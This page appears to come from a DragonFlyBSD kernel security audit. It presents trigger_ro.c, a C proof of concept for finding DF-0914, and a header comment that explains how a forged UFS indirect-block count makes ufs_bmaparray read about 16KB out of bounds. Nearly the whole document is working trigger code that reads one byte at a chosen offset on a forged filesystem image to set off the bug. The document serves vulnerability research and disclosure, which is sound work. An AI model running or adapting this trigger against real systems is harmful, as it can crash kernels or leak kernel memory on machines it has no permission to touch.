DragonFlyBSD Kernel Audit
DF-0914 / trigger_ro.c
← back to finding ↓ download raw
/*
 * trigger_ro.c - DF-0914 read-phase trigger (Phase B).
 *
 * Opens a file (read-only) on a FORGED UFS filesystem and reads 1 byte at
 * lbn=8203. With forged MNINDIR=8192, ufs_getlbns(lbn=8203) computes
 * in_off=8191. ufs_bmaparray:221 reads bap[8191] = bp->b_data + 32764,
 * which is ~16KB past the 16384-byte indirect-block buffer. OOB READ.
 *
 * The file was created in Phase A with correct fs_nindir (i_ib[0] allocated,
 * i_size covers lbn=8203 via ftruncate). Only the read sees the forged value.
 *
 * Build: cc -o trigger_ro trigger_ro.c
 * Usage: ./trigger_ro <file> <read_off>
 *   read_off defaults to 134283264 (lbn=8203)
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

int main(int argc, char **argv)
{
    const char *path = (argc > 1) ? argv[1] : "/mnt/test/target";
    off_t read_off   = (argc > 2) ? strtoull(argv[2], NULL, 0) : 134283264;

    printf("=== DF-0914 Phase B: read at lbn=8203 on forged image ===\n");
    printf("file:       %s\n", path);
    printf("read_off:   %lld (lbn=%lld, forged in_off=8191, OOB ~16KB)\n",
           (long long)read_off, (long long)(read_off / 16384));

    int fd = open(path, O_RDONLY);
    if (fd < 0) { perror("open"); return 2; }

    printf("[B1] reading 1 byte at offset %lld ...\n", (long long)read_off);
    if (lseek(fd, read_off, SEEK_SET) < 0) { perror("lseek"); close(fd); return 2; }
    char buf[1];
    ssize_t r = read(fd, buf, 1);
    printf("     READ returned %zd (errno=%d: %s)\n", r, errno,
           r < 0 ? strerror(errno) : "ok");
    printf("     (if you see this, the kernel did NOT panic — confused-deputy read)\n");

    close(fd);
    return 0;
}